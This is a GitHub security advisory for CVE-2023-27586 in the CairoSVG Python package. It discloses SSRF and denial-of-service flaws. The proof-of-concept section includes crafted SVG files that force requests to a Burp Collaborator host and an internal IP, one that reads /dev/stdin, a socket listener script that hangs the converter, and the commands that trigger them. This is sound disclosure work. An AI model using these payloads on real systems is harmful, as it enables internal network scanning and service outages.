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CairoSVG improperly processes SVG files loaded from external resources

Critical severity GitHub Reviewed Published Mar 20, 2023 in Kozea/CairoSVG • Updated Mar 20, 2023

Package

pip CairoSVG (pip)

Affected versions

< 2.7.0

Patched versions

2.7.0

Description

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.
It looks like this bug can affect websites and cause request forgery on the server.

PoC

  1. Generating malicious svg file:
    1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
    <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
    <style type="text/css">
         <![CDATA[
            @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
            rect { fill: red; stroke: blue; stroke-width: 3 }
         ]]>
    </style>
</svg>

1.2 CairoSVG_exploit_2.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <defs>
        <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
            <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
        </pattern>
    </defs>
    <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>

1.3 CairoSVG_exploit_3.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>

  1. Run some commands:
    $ python3 -m cairosvg CairoSVG_exploit.svg -f png
    $ python3 -m cairosvg CairoSVG_exploit_2.svg -f png
    $ python3 -m cairosvg CairoSVG_exploit_3.svg -f png

  2. See result requests in Burp Collaborator:
    1

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()
  1. Run commands:
    $timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png
    (without timeout server will hang forever)

DOS vulnerability with stdin file descriptor

Summary

Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="file:///dev/stdin" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()
  1. Run commands:
    $timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png

References

@liZe liZe published to Kozea/CairoSVG Mar 20, 2023
Published by the National Vulnerability Database Mar 20, 2023
Published to the GitHub Advisory Database Mar 20, 2023
Reviewed Mar 20, 2023
Last updated Mar 20, 2023

Severity

Critical
9.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L

Weaknesses

CVE ID

CVE-2023-27586

GHSA ID

GHSA-rwmf-w63j-p7gv

Source code

Credits

Checking history
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